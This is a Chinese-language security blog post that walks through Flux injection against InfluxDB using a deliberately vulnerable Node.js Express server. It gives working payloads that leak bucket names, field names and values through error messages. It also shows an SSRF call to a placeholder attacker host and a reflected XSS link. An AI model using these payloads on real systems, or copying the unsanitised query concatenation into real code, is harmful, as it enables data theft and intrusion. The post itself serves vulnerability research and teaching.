NoSQL influxDB安全

admin 2024年2月16日00:10:48评论17 views字数 6102阅读20分20秒阅读模式

NoSQL  influxDB安全

什么是 InfluxDB

InfluxDB 是一种流行的开源时间序列数据库,旨在处理大量带时间戳的数据。InfluxDB 广泛用于监控和分析来自传感器、应用程序和物联网设备等各种来源的指标、事件和实时数据。

初步漏洞识别

在WEB应用程序分析过程中,我在URL的查询参数中发送字符“后收到以下错误:

Java                  
error @1:115-1:118: got unexpected token in string expression @1:118-1:118: EOF

这看起来很像一个注入问题,在 Google 上搜索后,我得出结论,后端正在使用 InfluxDB。

此时,我开始阅读文档(https://docs.influxdata.com/influxdb/v2.7/),试图弄清楚后端发生了什么。

InfluxDB NoSQL 查询

这是 InfluxDB NoSQL 查询的一个简单示例:

Java                  
from(bucket: "example-bucket")                  
|> range(start: -1h)                  
|> filter(fn: (r) => r._measurement == "example-measurement" and r.tag == "example-tag")

给定的 InfluxDB 查询从“example-bucket”中检索过去一小时内的数据,并根据特定条件过滤数据。

以下是查询各部分的细分:    

from(bucket: "example-bucket"):这部分指定将从中检索数据的源存储桶。InfluxDB 将数据组织到存储桶中,在这里,数据将从“example-bucket”中获取。存储桶就像 SQL 语言中的数据库名称。

|> range(start: -1h):该部分设置数据检索的时间范围。该range函数用于定义时间窗口。在本例中,它指定当前时间的最后一小时的数据。该参数start: -1h表示获取一小时前到当前时间的数据。

|> filter(fn: (r) => r._measurement == "example-measurement" and r.tag == "example-tag"):这部分根据某些条件对数据应用过滤器。该filter函数用于选择满足定义标准的特定数据点。执行filter()类似于类 SQL 语言中的SELECT语句和子句的操作。WHERE

总之,查询从“example-bucket”中获取过去一小时内的数据,并过滤数据以仅包含属于测量“example-measurement”并且具有带有键“tag”和值的标签的数据点“示例标签。”

构建靶场的 WEB 应用程序

了解语法后,是时候构建我们的易受攻击的应用程序,以便最终在现实应用程序上构建有效的概念证明。

以下代码是一个易受攻击的服务器示例:

Java                  
const express = require('express');                  
const {InfluxDB, Point} = require('@influxdata/influxdb-client')const app = express();const token = 'REDACTED' // InfluxDB Tokenconst url = 'https://127.0.0.1' // Local Database endpointconst org = 'myOrg'const bucket = 'publicBucket'const client = new InfluxDB({url, token})async function query(fluxQuery) {                  
results = []                  
queryApi = client.getQueryApi(org)for await (const {values, tableMeta} of queryApi.iterateRows(fluxQuery)) {                  
o = tableMeta.toObject(values)console.log(o)                  
results.push(o)                  
}return results                  
}                  
app.get('/query', async (req, res) => {                  
try {                  
const fluxQuery = 'from(bucket:"' + bucket + '") |> range(start: 0)|> filter(fn: (r) => r._field == "public_field" and r._value == "' + req.query.data + '") '                  
result = await query(fluxQuery)                  
res.send(result)                  
} catch (err) {                  
res.send(err.toString())                  
}                  
});const port = 3000;                  
app.listen(port, () => {                  
console.log(`Server started on port ${port}`);                  
});
       

在上面的示例中,服务器将用户提供的输入连接到' + req.query.data + 'InfluxDB 查询,而不进行任何清理:

Java                  
const fluxQuery = 'from(bucket:"' + bucket + '") |> range(start: 0)|> filter(fn: (r) => r._field == "public_field" and r._value == "' + req.query.data + '") '                  
result = await query(fluxQuery)

通过发送包含字符“的 HTTP 请求,该字符将转义查询的字符串序列,我们可以确认它返回了之前在 Bug Bounty 计划服务器中看到的相同错误:

NoSQL  influxDB安全

漏洞利用

注入漏洞利用

泄漏桶名称

如前所述,在 InfluxDB 上,存储桶名称就像其他 SQL 语言上的数据库名称一样,并且像 SQL 注入利用过程一样,找到一种方法来泄漏这些存储桶名称以访问整个数据库至关重要。

仔细阅读文档后,假设注入发生在过滤器函数处,我实现了以下基于错误的 NoSQLI 负载:    

Java                  
") |> yield(name: "1337")                  
buckets() |> filter(fn: (r) => r.name =~ /^a.*/ and die(msg:r.name))                  
//

buckets()函数列出当前数据库中的所有存储桶。

filter()函数使用r.name表达式来过滤存储桶名称,该名称r是存储桶查询的结果,并且name是函数中返回的字段buckets()

如您所见,InfluxDB 查询支持正则表达式操作=~,因此条件背后的逻辑r.name =~ /^a.*/是,true如果存储桶名称以字母 开头,则为该条件a

之后,过滤器使用一个and条件来调用函数,die()并将存储桶名称的值作为参数。该die()函数会抛出一个错误,并在第一个参数中传递自定义消息,这将泄漏存储桶名称。

有效负载也在yield()存储桶查询之前使用该函数。这是在 InfluxDB 上的单个请求中执行“多个查询”所必需的。

最后,有必要用yield()一个新行将 与存储桶查询分开,并且在有效负载的末尾,我在//另一个新行后面添加了表达式,以注释注入后的所有内容。

继续来说,如果a数据库中存在以该字母开头的存储桶名称,则会触发die()错误消息中泄漏存储桶名称的函数。如果没有存储桶以发送的信件开头,服务器将返回一个空输出,没有错误。

尝试我们的易受攻击的应用程序,我们可以看到信件中没有返回任何错误a

NoSQL  influxDB安全

但是使用字母发送相同的有效负载p会泄漏存储桶名称privateBucket

要泄漏所有存储桶名称,需要测试所有字符,在匹配后添加另一个序列(例如pa,,...)。pbpc

泄露存储桶字段名称

现在我们有了存储桶的名称,我们可以尝试获取它们的内容,但是像其他 SQL 语言一样,有时我们需要指定列名来查询特定数据,在本节中,我将展示一种泄漏这些列的技术InfluxDB 中的名称。

在动态分析过程中,我能够找到一个触发错误的有效负载,其中包含任何存储桶的数据结构:

Java                  
") |> yield(name: "1337")                  
from(bucket: "privateBucket") |> range(start: 0) |> filter(fn: (r) => die(msg:r))                  
//

上面的有效负载使用了类似的技术,使用该yield()函数并在有效负载的末尾添加注释:

有效负载现在使用该from()函数来获取泄漏的存储桶名称的数据,这range()是必需的,最后是filter().

filter()函数中,我die()再次调用,但现在将整个结果 abject 作为参数发送。由于该die()函数仅接受字符串作为参数,并且结果对象包含所有存储桶数据结构,因此服务器将触发泄漏它的详细错误。

NoSQL  influxDB安全

正如您在上面的屏幕截图中看到的,服务器泄漏了以下结构:

Java                  
_value: B,                  
_time: time,                  
_stop: time,                  
_start: time,                  
_measurement: string,                  
_field: string

现在我们知道了查询结构,我们可以使用正则表达式比较来强制错误泄漏所有字段名称:    

Java                  
") |> yield(name: "1337")                  
from(bucket: "privateBucket") |> range(start: 0) |> filter(fn: (r) => r._field =~ /s.*/ and die(msg:r._field))                  
//

NoSQL  influxDB安全

正如我们所看到的,存在漏洞的应用程序泄露了字段名称,sensitive_field因为它与正则表达式条件匹配r._field =~ /s.*/

泄漏字段值

泄漏所有字段名称后,我们可以尝试泄漏字段值。字段值是 InfluxDB 的“最终节点”,它是存储数据的地方,换句话说,泄漏值是利用的最后一步。为此,我们可以使用与泄漏字段名称相同的技术,但现在指定我们要检索的字段:

Java                  
") |> yield(name: "1337")                  
from(bucket: "privateBucket") |> range(start: 0) |> filter(fn: (r) => r._field == "sensitive_field" and die(msg:r._value))                  
//

NoSQL  influxDB安全

通过发送上述有效负载,服务器响应一个错误:

Java                  
HttpError: runtime error @2:54-2:124: filter: type conflict: string != int        

发生这种情况是因为存储的数据r._value是整数并且该die()函数仅接受字符串。为了避免这种情况,我们可以使用该string()函数将整数值转换为字符串,并成功地将其泄漏到错误消息中:

Java                  
") |> yield(name: "1337")                  
from(bucket: "privateBucket") |> range(start: 0) |> filter(fn: (r) => r._field == "sensitive_field" and die(msg:string(v:r._value)))                  
//

NoSQL  influxDB安全

正如我们在上面的屏幕截图中看到的, 的sensitive_field值为1337。这意味着我们能够从其他存储桶中获取任意数据!

InfluxDB 服务器端请求伪造

在阅读文档时,我注意到一些 InfluxDB 函数接受host参数,其中一个函数是from()

NoSQL  influxDB安全    

NoSQL  influxDB安全

host通过在函数中发送参数from(),我们可以向任意 URL 发出 HTTP 请求。以下有效负载是使用 NoSQL 注入漏洞的 SSRF 示例:

Java                  
") |> yield(name: "1337")                  
from(bucket: "1337", host:"https://ATTACKER-SERVER") |> range(start:0)                  
//

这是我的 Burp 合作者收到的请求:

NoSQL  influxDB安全

如果存在漏洞的应用程序使用本地 InfluxDB 数据库,则也可以获取内部端点。

这不是 InfluxDB 的漏洞,这只是由不安全的编码实践引发的 NoSQL 注入滥用的功能。

InfluxDB 跨站脚本

我们的示例服务器还容易通过 NoSQL 注入遭受反射型 XSS 攻击:

Java                  
app.get('/query', async (req, res) => {                  
try {                  
const fluxQuery = 'from(bucket:"' + bucket + '") |> range(start: 0)|> filter(fn: (r) => r._field == "public_field" and r._value == "' + req.query.data + '") '                  
result = await query(fluxQuery)                  
res.send(result)                  
} catch (err) {                  
res.send(err.toString())                  
}                  
});
       

如果您像我一样有 XSS 雷达,您会注意到,当 InfluxDB 查询中发生错误时,该try{ } catch{ }语句会将错误发送回客户端,并使用Content-Typeequals to text/html,允许浏览器加载 HTML 和 JavaScript。

此外,我们可以控制这些错误中反映的一些数据,特别是通过以下die()函数:

NoSQL  influxDB安全

由于查询 API 使用 GET 方法,因此可以通过发送恶意链接在受害者的浏览器上执行任意 JavaScript:

http://127.0.0.1:3000/query?data=%22)%20die(msg%3a%22%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e%22)%2f%2f

Java                  
") die(msg:"")//

NoSQL  influxDB安全

这不是 InfluxDB 漏洞,因为该问题是由不安全的编码实践和 NodeJS 不安全的默认内容类型引起的 NoSQL 注入引起的。

原文始发于微信公众号(暴暴的皮卡丘):NoSQL influxDB安全

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月16日00:10:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   NoSQL influxDB安全https://cn-sec.com/archives/2163534.html

发表评论

匿名网友 填写信息